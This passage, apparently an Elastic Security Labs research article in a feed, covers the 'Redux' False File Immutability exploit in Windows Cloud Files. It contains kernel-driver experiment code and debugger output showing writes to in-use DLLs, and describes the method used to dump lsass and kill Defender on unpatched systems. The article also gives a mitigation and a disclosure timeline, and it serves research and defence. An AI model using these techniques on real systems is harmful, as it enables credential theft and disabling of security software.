<p>ExperimentTwo isn’t exactly a fair representation of PPLFault, which loads the DLL from a network drive. When a network client opens a file on a server, the SMB client driver allocates a File Control Block (<a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/the-fcb-structure">FCB</a>) structure representing that logical file. Correspondingly, the server opens the file with the requested share modes and allocates its own FCB. This means that there’s two distinct FCBs in play with different semantics. When the client maps a DLL into memory as an executable, the resulting <code>SEC_IMAGE</code> file mapping (aka section) is associated with its FCB so it gains the protection of <code>MmFlushImageSection</code>. The server does not correspondingly create an image section, so its FCB gains no such protection. PPLFault exploits this difference by performing the writes to the server’s FCB, bypassing the <code>MmFlushImageSection</code> check.</p>
<p>Let’s try this out in ExperimentThree:</p>
<pre><code class="language-c">/*
* This experiment shows that a file loaded as a DLL by an SMB client can't be modified
* server-side unless IO_IGNORE_SHARE_ACCESS_CHECK is used.
*/
VOID ExperimentThree()
{
    DECLARE_CONST_UNICODE_STRING(filePathLocal, 
        L&quot;\\SystemRoot\\System32\\TestDll.dll&quot;);
    DECLARE_CONST_UNICODE_STRING(filePathSMB, 
        L&quot;\\Device\\Mup\\127.0.0.1\\c$\\Windows\\System32\\TestDll.dll&quot;);

    NTSTATUS ntStatus = STATUS_SUCCESS;
    HANDLE hFile = NULL;
    HANDLE hSection = NULL;
    HANDLE hFile2 = NULL;
    OBJECT_ATTRIBUTES fileObjAttr{};
    OBJECT_ATTRIBUTES sectionObjAttr{};
    IO_STATUS_BLOCK iosb{};
    BOOLEAN bSuccessful = FALSE;
    BOOLEAN bReportResults = FALSE;
    PVOID pMappedBase = NULL;

    ntStatus = MapFileAsImageSection(
        &amp;filePathSMB, &amp;hFile, &amp;hSection, &amp;pMappedBase);
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            &quot;ExperimentThree: MapFileAsImageSection %wZ failed with NTSTATUS 0x%08x\n&quot;,
            &amp;filePathSMB, ntStatus);
        goto Cleanup;
    }

    // Now that a view of the SEC_IMAGE mapping exists, 
    // close the file and section handles to remove them from the equation.
    // We're trying to test whether IO_IGNORE_SHARE_ACCESS_CHECK can bypass the 
    // MmFlushImageSection check here:
    // https://github.com/Microsoft/Windows-driver-samples/blob/622212c3fff587f23f6490a9da939fb85968f651/filesys/fastfat/create.c#L3572-L3593
    HandleDelete(hFile);
    HandleDelete(hSection);

    InitializeObjectAttributes(&amp;fileObjAttr, 
        (PUNICODE_STRING)&amp;filePathLocal, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);

    bReportResults = TRUE;

    // Can IoCreateFileEx() open a file mapped as SEC_IMAGE for write access?
    ntStatus = IoCreateFileEx(
        &amp;hFile2,
        FILE_WRITE_DATA | SYNCHRONIZE,
        &amp;fileObjAttr, &amp;iosb, NULL, FILE_ATTRIBUTE_NORMAL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        FILE_OPEN,
        FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
        NULL, 0, CreateFileTypeNone, NULL,
        0,
        NULL);
    if (NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            &quot;ExperimentThree: IoCreateFileEx(FILE_WRITE_DATA) unexpectedly succeeded &quot;
            &quot;on a file mapped as SEC_IMAGE remotely by an SMB client\n&quot;);
        ntStatus = STATUS_UNSUCCESSFUL;
        goto Cleanup;
    }

    // Can IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) open
    // a file mapped as SEC_IMAGE for write access?
    ntStatus = IoCreateFileEx(
        &amp;hFile2,
        FILE_WRITE_DATA | SYNCHRONIZE,
        &amp;fileObjAttr, &amp;iosb, NULL, FILE_ATTRIBUTE_NORMAL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        FILE_OPEN,
        FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
        NULL, 0, CreateFileTypeNone, NULL,
        IO_IGNORE_SHARE_ACCESS_CHECK,
        NULL);

    bSuccessful = NT_SUCCESS(ntStatus);
    bReportResults = TRUE;

Cleanup:
    if (bReportResults)
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            &quot;ExperimentThree complete. &quot;
            &quot;IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) %s open a &quot;
            &quot;file backing a remote SEC_IMAGE view for FILE_WRITE_DATA. &quot;
            &quot;Status: 0x%08x\n&quot;,
            bSuccessful ? &quot;CAN&quot; : &quot;CANNOT&quot;,
            ntStatus);
    }

    HandleDelete(hFile);
    HandleDelete(hSection);
    HandleDelete(hFile2);
    if (pMappedBase)
    {
        NTSTATUS unmapStatus = ZwUnmapViewOfSection(ZwCurrentProcess(), pMappedBase);
        NT_ASSERT(NT_SUCCESS(unmapStatus));
    }
}
</code></pre>
<p>ExperimentThree generates the following output:</p>
<pre><code class="language-c">ExperimentThree complete. IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) CAN open a file backing a remote SEC_IMAGE view for FILE_WRITE_DATA. Status: 0x00000000
</code></pre>
<p>ExperimentThree above shows how kernel drivers are able to modify DLLs mapped by SMB clients by using the <code>IO_IGNORE_SHARE_ACCESS_CHECK</code> flag on the server’s version of that file.</p>
<h2>Roll up your sleeves</h2>
<p>We’ve just shown what’s possible, but we still don’t know what Cloud Files is actually doing. Let’s dig deeper into the Process Monitor output to answer the questions raised earlier.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/immutable-illusion/image4.png" alt="" /></p>
<p>Earlier, we asked two questions:</p>
<blockquote>
<p><strong>Violation of Immutability</strong><br />
We see a successful write operation to a file while it is loaded as an executable image. In our <a href="https://www.elastic.co/jp/security-labs/false-file-immutability">earlier FFI research</a>, we discussed the <code>MmFlushImageSection</code> check in the file system, which is designed to protect against this very situation. <em>How did it bypass this check?</em></p>
<p><strong>Violation of the File Access Model</strong><br />
We can see that PPLFault successfully overwrote the file. Microsoft documentation for WriteFile <a href="https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-writefile">states</a> that the file should have been opened with write access, meaning <a href="https://learn.microsoft.com/en-us/windows/win32/fileio/file-access-rights-constants"><code>FILE_WRITE_DATA</code></a>, but the output shows it was opened for “Read Attributes, Write Attributes, Synchronize,” which is <code>FILE_READ_ATTRIBUTES</code>, <code>FILE_WRITE_ATTRIBUTES</code>, and <code>SYNCHRONIZE</code>. <em>Without <code>FILE_WRITE_DATA</code>, how did it overwrite this file?</em></p>
</blockquote>
<p>We can easily explain the <code>MmFlushImageSection</code> bypass. That check <a href="https://github.com/microsoft/Windows-driver-samples/blob/9607307c5bfcc68ca9f0acdfcc2f0c8c2584897d/filesys/fastfat/create.c#L3581">looks for</a> <code>FILE_WRITE_DATA</code>, which wasn’t used here. The file was only opened for “Read Attributes, Write Attributes, Synchronize.”  We can’t explain the violation of the file access model, however. How did it overwrite a non-writable file?  Let’s zoom in on the call stack for that <code>WriteFile</code> operation to try to find out.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/immutable-illusion/image3.png" alt="Call stack for PPLFault file write operation" title="Call stack for PPLFault file write operation" /></p>
<p>In the call stack, we can see <a href="https://github.com/gabriellandau/PPLFault/blob/c835f98faf596ab9f2ceb362b30a79a1b4808888/PPLFault/PPLFault.cpp#L176">line 176 of <code>PPLFault.cpp</code></a> calling <a href="https://learn.microsoft.com/en-us/windows/win32/api/cfapi/nf-cfapi-cfexecute"><code>cldapi.dll!CfExecute</code></a> (rows 24-25) from user-mode. This eventually results in <code>cldflt.sys!HsmiRecallWriteFileNoLock</code> calling <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/fltkernel/nf-fltkernel-fltwritefileex"><code>FltWriteFileEx</code></a>. <code>FltWriteFileEx</code> is somehow able to write to a file that’s not opened for write access. Let’s attach a kernel debugger and take a closer look.</p>
<p>Setting a breakpoint on <code>FltWriteFileEx</code> and re-running the exploit, we can break at the call from <code>HsmiRecallWriteFileNoLock</code>:</p>
<pre><code class="language-shell">2: kd&gt; bp fltmgr!FltWriteFileEx
2: kd&gt; g
Breakpoint 0 hit
FLTMGR!FltWriteFileEx:
fffff800`425aad40 4055            push    rbp
0: kd&gt; k
 # Child-SP          RetAddr               Call Site
00 ffffb90e`faa968e8 fffff800`5c2878d3     FLTMGR!FltWriteFileEx
01 ffffb90e`faa968f0 fffff800`5c2b2ccc     cldflt!HsmiRecallWriteFileNoLock+0x2df
02 ffffb90e`faa969f0 fffff800`5c2b25f8     cldflt!HsmRecallTransferData+0x25c
03 ffffb90e`faa96aa0 fffff800`5c2b35d7     cldflt!CldStreamTransferData+0x65c
04 ffffb90e`faa96bd0 fffff800`5c27196c     cldflt!CldiSyncTransferOrAckDataByObject+0x4c7
05 ffffb90e`faa96cb0 fffff800`5c2bb568     cldflt!CldiSyncTransferOrAckData+0xdc
06 ffffb90e`faa96d10 fffff800`5c2bafe1     cldflt!CldiPortProcessTransferData+0x46c
07 ffffb90e`faa96db0 fffff800`5c27895a     cldflt!CldiPortProcessTransfer+0x291
08 ffffb90e`faa96e50 fffff800`4259530a     cldflt!CldiPortNotifyMessage+0xd9a
09 ffffb90e`faa96f70 fffff800`425cf299     FLTMGR!FltpFilterMessage+0xda
0a ffffb90e`faa96fd0 fffff800`42597e60     FLTMGR!FltpMsgDispatch+0x179
0b ffffb90e`faa97040 fffff800`3eaebef5     FLTMGR!FltpDispatch+0xe0
0c ffffb90e`faa970a0 fffff800`3ef40060     nt!IofCallDriver+0x55
0d ffffb90e`faa970e0 fffff800`3ef41a90     nt!IopSynchronousServiceTail+0x1d0
0e ffffb90e`faa97190 fffff800`3ef41376     nt!IopXxxControlFile+0x700
0f ffffb90e`faa97380 fffff800`3ec2bbe8     nt!NtDeviceIoControlFile+0x56
10 ffffb90e`faa973f0 00007ffe`b074f454     nt!KiSystemServiceCopyEnd+0x28
11 000000dc`e7bff448 00007ffe`99383ca2     ntdll!NtDeviceIoControlFile+0x14
12 000000dc`e7bff450 00007ffe`99383251     FLTLIB!FilterpDeviceIoControl+0x136
13 000000dc`e7bff4c0 00007ffe`94f3b12b     FLTLIB!FilterSendMessage+0x31
14 000000dc`e7bff510 00007ffe`94f36059     cldapi!CfpExecuteTransferData+0x103
15 000000dc`e7bff690 00007ff7`ac9216e0     cldapi!CfExecute+0x349
16 000000dc`e7bff730 00000029`8969cee4     PPLFault!FetchDataCallback+0x4b0 [C:\git\PPLFault\PPLFault\PPLFault.cpp @ 176] 

</code></pre>
<p>Let’s see what kind of access was granted to the handle (~= <code>FILE_OBJECT</code>) which resides in the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/fltkernel/nf-fltkernel-fltwritefileex">second parameter</a> to <code>FltWriteFileEx</code>. On x64, this is <code>rdx</code>.</p>
<pre><code class="language-shell">0: kd&gt; dt _FILE_OBJECT @rdx ReadAccess WriteAccess DeleteAccess SharedRead SharedWrite SharedDelete Flags
ntdll!_FILE_OBJECT
   +0x04a ReadAccess   : 0 ''
   +0x04b WriteAccess  : 0 ''
   +0x04c DeleteAccess : 0 ''
   +0x04d SharedRead   : 0 ''
   +0x04e SharedWrite  : 0 ''
   +0x04f SharedDelete : 0x1 ''
   +0x050 Flags        : 0x4000a
0: kd&gt; !fileobj @rdx

Device Object: 0xffffa909953848f0   \Driver\volmgr
Vpb: 0xffffa90995352ee0
Event signalled
Access: SharedDelete 

Flags:  0x4000a
	Synchronous IO
	No Intermediate Buffering
	Handle Created

FsContext: 0xffffcf04ac4c6170	FsContext2: 0xffffcf04a7d1cad0
CurrentByteOffset: 0
Cache Data:
  Section Object Pointers: ffffa90999f44378
  Shared Cache Map: 00000000


File object extension is at ffffa9099a4c5f40:

	Flags:	00000001
		Ignore share access checks.
</code></pre>
<p>We can see the file wasn’t opened for write access, and “Ignore share access checks” sounds a lot like <code>IO_IGNORE_SHARE_ACCESS_CHECK</code>. Let’s sanity-check the <code>ByteOffset</code> and <code>Length</code> parameters, which are the third and fourth parameters to <code>FltWriteFileEx</code>, stored in <code>r8</code> and <code>r9</code> respectively.</p>
<pre><code>0: kd&gt; dx ((PLARGE_INTEGER)@r8)-&gt;QuadPart
((PLARGE_INTEGER)@r8)-&gt;QuadPart : 0 [Type: __int64]
0: kd&gt; dx (int)@r9
(int)@r9         : 90112 [Type: int]
</code></pre>
<p>A write of <code>90,112</code> bytes at offset <code>0</code> - that lines up with the ProcMon output. What about <code>Flags</code>, the 6th parameter?</p>
<pre><code>0: kd&gt; dx *(PULONG)(@rsp+(8*6))
*(PULONG)(@rsp+(8*6)) : 0xa [Type: unsigned long]
</code></pre>
<p><code>0xA</code> is <code>0x2 | 0x8</code>, which is <code>FLTFL_IO_OPERATION_PAGING</code> | <code>FLTFL_IO_OPERATION_SYNCHRONOUS_PAGING</code>. This lines up with “Paging I/O, Synchronous Paging I/O” we saw in ProcMon.</p>
<p>Let’s see if we can reproduce this in a driver. We’re going to open a locally-mapped DLL like we did in ExperimentTwo, but instead of asking for <code>FILE_WRITE_DATA</code>, we’re going to stick to the same permissions as CloudFiles: <code>SYNCHRONIZE</code> | <code>FILE_READ_ATTRIBUTES</code> | <code>FILE_WRITE_ATTRIBUTES</code>. This won’t trip the <code>MmFlushImageSection</code> check which looks for <code>FILE_WRITE_DATA</code>, but we’ll throw in <code>IO_IGNORE_SHARE_ACCESS_CHECK</code> anyway to more closely replicate CloudFiles’ behavior. Next, we’ll use <code>FltWriteFileEx</code> to perform a synchronous paging write to the non-writable <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_file_object">FILE_OBJECT</a>.</p>
<p>We’re omitting some helper code for brevity. All the example code in this article is available on our <a href="https://github.com/gabriellandau/BlogExamples/tree/main/Redux/FileTestDriver">GitHub</a>.</p>
<pre><code class="language-c">VOID ExperimentFour()
{
    DECLARE_CONST_UNICODE_STRING(filePath,
        L&quot;\\SystemRoot\\System32\\TestDll.dll&quot;);

    NTSTATUS ntStatus = STATUS_SUCCESS;
    HANDLE hFile = NULL;
    HANDLE hSection = NULL;
    HANDLE hFile2 = NULL;
    OBJECT_ATTRIBUTES fileObjAttr{};
    IO_STATUS_BLOCK iosb{};
    BOOLEAN bSuccessful = FALSE;
    BOOLEAN bReportResults = FALSE;
    PVOID pMappedBase = NULL;
    PFILE_OBJECT pFileObject = NULL;
    PFLT_INSTANCE pInstance = NULL;
    PFLT_VOLUME pVolume = NULL;
    LARGE_INTEGER byteOffset{};
    ULONG bytesWritten = 0;

    ntStatus = MapFileAsImageSection(
        &amp;filePath, &amp;hFile, &amp;hSection, &amp;pMappedBase);
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            &quot;ExperimentFour: MapFileAsImageSection %wZ failed with NTSTATUS 0x%08x\n&quot;,
            &amp;filePath, ntStatus);
        goto Cleanup;
    }

    // Find our own minifilter instance for the volume containing this file
    // We'll need it later
    ntStatus = GetMyInstanceForFile(hFile, &amp;pVolume, &amp;pInstance);
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            &quot;ExperimentFour: GetMyInstanceForFile failed with NTSTATUS 0x%08x\n&quot;,
            ntStatus);
        goto Cleanup;
    }

    // Now that a view of the SEC_IMAGE mapping exists, 
    // close the file and section handles because that's what ntdll does
    // https://github.com/Microsoft/Windows-driver-samples/blob/622212c3fff587f23f6490a9da939fb85968f651/filesys/fastfat/create.c#L3572-L3593
    HandleDelete(hFile);
    HandleDelete(hSection);

    InitializeObjectAttributes(&amp;fileObjAttr, 
        (PUNICODE_STRING)&amp;filePath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);

    // Open the file without FILE_WRITE_DATA
    // cldflt.sys!HsmiOpenFile uses this instead of IoCreateFileEx
    ntStatus = FltCreateFileEx2(
        gpFilter,
        NULL,
        &amp;hFile2,
        &amp;pFileObject,
        SYNCHRONIZE | FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES,
        &amp;fileObjAttr, &amp;iosb, NULL, 0,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        FILE_OPEN,
        FILE_NO_INTERMEDIATE_BUFFERING | FILE_SYNCHRONOUS_IO_NONALERT | 
        FILE_NON_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT,
        NULL, 0,
        IO_IGNORE_SHARE_ACCESS_CHECK,
        NULL);
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            &quot;ExperimentFour: IoCreateFileEx failed with NTSTATUS 0x%08x\n&quot;,
            ntStatus);
        goto Cleanup;
    }

    // cldflt.sys is using FltWriteFileEx with synchronous paging I/O
    ntStatus = FltWriteFileEx(
        pInstance, pFileObject, &amp;byteOffset,
        sizeof(gZeroBuf), gZeroBuf,
        FLTFL_IO_OPERATION_PAGING | FLTFL_IO_OPERATION_SYNCHRONOUS_PAGING, 
        &amp;bytesWritten, NULL, NULL, NULL, NULL);

    // If FltWriteFileEx returns success without us passing FILE_WRITE_DATA, 
    // then we have succeeded
    bSuccessful = NT_SUCCESS(ntStatus) &amp;&amp; (sizeof(gZeroBuf) == bytesWritten);
    bReportResults = TRUE;
    
Cleanup:
    if (bReportResults)
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            &quot;ExperimentFour complete. &quot;
            &quot;FltWriteFileEx %s be used to write to a non-writable FILE_OBJECT &quot;
            &quot;Status: 0x%08x\n&quot;,
            bSuccessful ? &quot;CAN&quot; : &quot;CANNOT&quot;,
            ntStatus);
    }

    HandleDelete(hFile);
    HandleDelete(hSection);
    HandleDelete(hFile2);
    if (pMappedBase)
    {
        NTSTATUS unmapStatus = ZwUnmapViewOfSection(ZwCurrentProcess(), pMappedBase);
        NT_ASSERT(NT_SUCCESS(unmapStatus));
    }
    ReferenceDelete(pFileObject);
    if (pInstance) FltObjectDereference(pInstance);
    if (pVolume) FltObjectDereference(pVolume);
}
</code></pre>
<p>This experiment yields the following output:</p>
<pre><code class="language-c">ExperimentFour complete. FltWriteFileEx CAN be used to write to a non-writable FILE_OBJECT Status: 0x00000000
</code></pre>
<p>This proves that <code>FltWriteFileEx</code> can be used to break several rules. There’s a key difference between PPLFault and this experiment: The experiment succeeded without any network redirectors, proving that CloudFiles alone can modify in-use executables, regardless of whether they are mapped locally or via SMB. More abstractly, it proves that <em>FFI exploitation via CloudFiles may be possible without network redirectors</em>.</p>
<h2>A new exploit</h2>
<p><a href="https://x.com/GabrielLandau/status/1757818200127946922">Microsoft’s PPLFault mitigation</a> specifically targets executables loaded over network redirectors. Can we apply what we’ve discovered here to achieve the same effect sans network redirector?</p>
<p>When CI requests the DLL for signature verification, PPLFault uses <a href="https://github.com/gabriellandau/PPLFault/blob/c835f98faf596ab9f2ceb362b30a79a1b4808888/PPLFault/PPLFault.cpp#L132-L136"><code>CfExecute</code></a> to write to (rehydrate) the placeholder from its <a href="https://learn.microsoft.com/en-us/windows/win32/api/cfapi/ne-cfapi-cf_callback_type#constants">fetch data callback</a>. Once the original file has been served up for signature verification, it switches over to the payload, <a href="https://github.com/gabriellandau/PPLFault/blob/c835f98faf596ab9f2ceb362b30a79a1b4808888/PPLFault/PPLFault.cpp#L138-L187">calling CfExecute a second time</a> during the same callback to overwrite a portion of the file with a payload. Tweaking PPLFault to have the victim load the DLL locally instead of over loopback SMB, the second call to <code>CfExecute</code> fails with “The cloud operation was canceled by user.”  We needed another approach.</p>
<pre><code class="language-shell">C:\Users\user\Desktop&gt;PPLFault.exe 760 services.dmp
 [+] Ready. Spawning WinTcb.
 [+] SpawnPPL: Waiting for child process to finish.
 [!] CfExecute #2 failed with HR 0x8007018e: The cloud operation was canceled by user.
 [!] Did not find expected dump file: services.dmp
</code></pre>
<p>After some reverse engineering, we learned that the failure was due to checks within CloudFilter itself, not from its interactions with the I/O manager or filesystem. We discovered that calling <a href="https://learn.microsoft.com/en-us/previous-versions/mt827480(v=vs.85)"><code>CfDehydratePlaceholder</code></a> then calling <a href="https://learn.microsoft.com/en-us/windows/win32/api/cfapi/nf-cfapi-cfhydrateplaceholder"><code>CfHydratePlaceholder</code></a> from a different thread (outside of the rehydration callback) would reset the state of our file inside the CloudFilter driver, causing it to re-invoke our our rehydration callback. This allowed us to overwrite the in-use DLL with our payload and achieve arbitrary code execution as WinTcb-Light. This small code change resurrected PPLFault, so we named the variant Redux.</p>
<p>We similarly resurrected <a href="https://github.com/gabriellandau/PPLFault?tab=readme-ov-file#godfault">GodFault</a>, leveraging our highly-privileged PPL access to compromise kernel memory and bypass Windows Defender’s process protections, terminating a normally-unkillable process.</p>
<p>You can find our PoCs for Redux and GodFault-Redux on <a href="https://github.com/gabriellandau/Redux">GitHub</a>.</p>
<p>The video below shows the following on fully-updated Windows Server 2022 (February 2026 version 20348.4773).</p>
<ol>
<li>PPLFault failing to dump <a href="https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service"><code>lsass</code></a></li>
<li>Redux successfully dumping <code>lsass</code></li>
<li>An administrator failing to terminate <code>MsMpEng.exe</code> because it is PPL</li>
<li>GodFault-Redux successfully terminating <code>MsMpEng.exe</code></li>
</ol>
&lt;div className=&quot;youtube-video-container&quot;&gt;
  &lt;iframe src=&quot;https://www.youtube.com/embed/e5OYMXfx84E?si=P4jnGWs8QWo7AbY-&amp;vq=hd1080&quot; title=&quot;YouTube video player&quot; allow=&quot;fullscreen; accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerPolicy=&quot;strict-origin-when-cross-origin&quot; allowFullScreen&gt;&lt;/iframe&gt;
&lt;/div&gt;
<h2>Mitigation</h2>
<p>In our report to MSRC, we provided a filesystem minifilter that mitigates Redux by blocking <code>IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION</code> operations meeting all of the following criteria:</p>
<ul>
<li>The requestor is a PPL.</li>
<li>The requestor's <code>PreviousMode</code> is <code>UserMode</code>.</li>
<li>The page protection is executable (e.g. <code>PAGE_EXECUTE_READ</code>) or the allocation attributes contain <code>SEC_IMAGE</code>.</li>
<li>The file has a <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/c8e77b37-3909-4fe6-a4ea-2b9d423b1ee4">Cloud Filter reparse tag</a> such as <code>IO_REPARSE_TAG_CLOUD</code>.</li>
</ul>
<p>A mitigation is built into Elastic Defend versions 8.14 and newer.  If your fleet runs any affected operating systems, you can set the following in <a href="https://www.elastic.co/jp/docs/solutions/security/configure-elastic-defend/configure-an-integration-policy-for-elastic-defend#adv-policy-settings">Defend Advanced Policy</a> to enable it.</p>
<pre><code>windows.advanced.flags: e931849d52535955fcaa3847dd17947b
</code></pre>
<p>With this mitigation in place, the exploit is blocked:</p>
<pre><code class="language-shell">C:\Users\user\Desktop&gt;Redux 624 services.dmp
 [+] Ready.  Spawning WinTcb.
 [+] SpawnPPL: Waiting for child process to finish.
 [!] SpawnPPL: WaitForSingleObject returned 258.  Expected WAIT_OBJECT_0.  GLE: 2
 [!] Did not find expected dump file: services.dmp
</code></pre>
<p>Simultaneously, Windows displays a popup with the <code>STATUS_ACCESS_DENIED (0xC0000022)</code> status code.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/immutable-illusion/image1.png" alt="A popup showing the mitigation blocking the Redux exploit." title="A popup showing the mitigation blocking the Redux exploit." /></p>
<p>You can find our PoC for the mitigation on <a href="https://github.com/gabriellandau/Redux/tree/main/NoFault">GitHub</a>.</p>
<h2>Disclosure and Remediation</h2>
<p>The disclosure timeline is as follows:</p>
<ul>
<li>2024-02-14 We reported Redux to MSRC.</li>
<li>2024-02-29 The Windows Defender team reached out to coordinate disclosure.</li>
<li>2024-10-01 Windows 11 24H2 reached GA with the mitigation.</li>
</ul>
<p>When we disclosed Redux to MSRC, it was functional against fully-patched versions of Windows 11, but not against the experimental Insider Canary build 25936. While discussing the issue with the Windows Defender team, we learned that (now former) Microsoft Senior Security Researcher <a href="https://x.com/PhilipTsukerman">Philip Tsukerman</a> had discovered it while looking for variants of PPLFault, with the fix still in pre-release testing.</p>
<p>The table below shows affected and fixed versions of Windows as of the date of publication.</p>
<table>
<thead>
<tr>
<th align="left">Operating System</th>
<th align="left">Lifecycle</th>
<th align="left">Fix Status</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows 11 24H2</td>
<td align="left"><a href="https://learn.microsoft.com/en-us/lifecycle/products/windows-11-home-and-pro">Mainstream Support</a></td>
<td align="left">✔ Fixed</td>
</tr>
<tr>
<td align="left">Windows 10 Enterprise LTSC 2021</td>
<td align="left"><a href="https://learn.microsoft.com/en-us/lifecycle/products/windows-10-enterprise-ltsc-2021">Mainstream Support</a></td>
<td align="left">❌ Still functional as of February 2026 (19044.6937)</td>
</tr>
<tr>
<td align="left">Windows Server 2025</td>
<td align="left"><a href="https://learn.microsoft.com/en-us/lifecycle/products/windows-server-2025">Mainstream Support</a></td>
<td align="left">✔ Fixed</td>
</tr>
<tr>
<td align="left">Windows Server 2022</td>
<td align="left"><a href="https://learn.microsoft.com/en-us/lifecycle/products/windows-server-2022">Mainstream Support</a></td>
<td align="left">❌ Still functional as of February 2026 (20348.4773)</td>
</tr>
<tr>
<td align="left">Windows Server 2019</td>
<td align="left"><a href="https://learn.microsoft.com/en-us/lifecycle/products/windows-server-2019">Extended Support</a></td>
<td align="left">❌ Still functional as of February 2026 (17763.8389)</td>
</tr>
</tbody>
</table>
<h2>Conclusion</h2>
<p>In 2024, we disclosed a new Windows vulnerability class, False File Immutability (FFI), demonstrating it with the release of two distinct kernel exploits: <a href="https://github.com/gabriellandau/PPLFault">PPLFault</a> and <a href="https://github.com/gabriellandau/ItsNotASecurityBoundary">ItsNotASecurityBoundary</a>. Both exploits leverage network redirectors to exploit design flaws in Windows Code Integrity. In this research, we showcased and <a href="https://github.com/gabriellandau/Redux">released</a> another exploit which demonstrates how to exploit FFI without network redirectors. We believe that this was the third FFI exploit when it was reported in February 2024; there have since been at least <a href="https://project-zero.issues.chromium.org/issues/42451731">two</a> <a href="https://project-zero.issues.chromium.org/issues/42451731">more</a>.</p>
<p>Redux is not the end of FFI; there are more exploitable FFI vulnerabilities.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/immutable-illusion/immutable-illusion.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Introducing a New Vulnerability Class: False File Immutability]]></title>
            <link>https://www.elastic.co/jp/security-labs/false-file-immutability</link>
            <guid>false-file-immutability</guid>
            <pubDate>Thu, 11 Jul 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[This article introduces a previously-unnamed class of Windows vulnerability that demonstrates the dangers of assumption and describes some unintended security consequences.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>This article will discuss a previously-unnamed vulnerability class in Windows, showing how long-standing incorrect assumptions in the design of core Windows features can result in both undefined behavior and security vulnerabilities. We will demonstrate how one such vulnerability in the Windows 11 kernel can be exploited to achieve arbitrary code execution with kernel privileges.</p>
<h2>Windows file sharing</h2>
<p>When an application opens a file on Windows, it typically uses some form of the Win32 <a href="https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilew"><strong>CreateFile</strong></a> API.</p>
<pre><code class="language-c++">HANDLE CreateFileW(
  [in]           LPCWSTR               lpFileName,
  [in]           DWORD                 dwDesiredAccess,
  [in]           DWORD                 dwShareMode,
  [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  [in]           DWORD                 dwCreationDisposition,
  [in]           DWORD                 dwFlagsAndAttributes,
  [in, optional] HANDLE                hTemplateFile
);
</code></pre>
<p>Callers of <strong>CreateFile</strong> specify the access they want in <strong>dwDesiredAccess</strong>. For example, a caller would pass <strong>FILE_READ_DATA</strong> to be able to read data, or <strong>FILE_WRITE_DATA</strong> to be able to write data. The full set of access rights are <a href="https://learn.microsoft.com/en-us/windows/win32/fileio/file-access-rights-constants">documented</a> on the Microsoft Learn website.</p>
<p>In addition to passing <strong>dwDesiredAccess</strong>, callers must pass a “sharing mode” in <strong>dwShareMode</strong>, which consists of zero or more of <strong>FILE_SHARE_READ</strong>, <strong>FILE_SHARE_WRITE</strong>, and <strong>FILE_SHARE_DELETE</strong>. You can think of a sharing mode as the caller declaring “I’m okay with others doing X to this file while I’m using it,” where X could be reading, writing, or renaming. For example, a caller that passes <strong>FILE_SHARE_WRITE</strong> allows others to write the file while they are working with it.</p>
<p>As a file is opened, the caller’s <strong>dwDesiredAccess</strong> is tested against the <strong>dwShareMode</strong> of all existing file handles. Simultaneously, the caller’s <strong>dwShareMode</strong> is tested against the previously-granted <strong>dwDesiredAccess</strong> of all existing handles to that file. If either of these tests fail, then <strong>CreateFile</strong> fails with a sharing violation.</p>
<p>Sharing isn’t mandatory. Callers can pass a share mode of zero to obtain exclusive access. Per Microsoft <a href="https://learn.microsoft.com/en-us/windows/win32/fileio/creating-and-opening-files">documentation</a>:</p>
<blockquote>
<p>An open file that is not shared (dwShareMode set to zero) cannot be opened again, either by the application that opened it or by another application, until its handle has been closed. This is also referred to as exclusive access.</p>
</blockquote>
<h3>Sharing enforcement</h3>
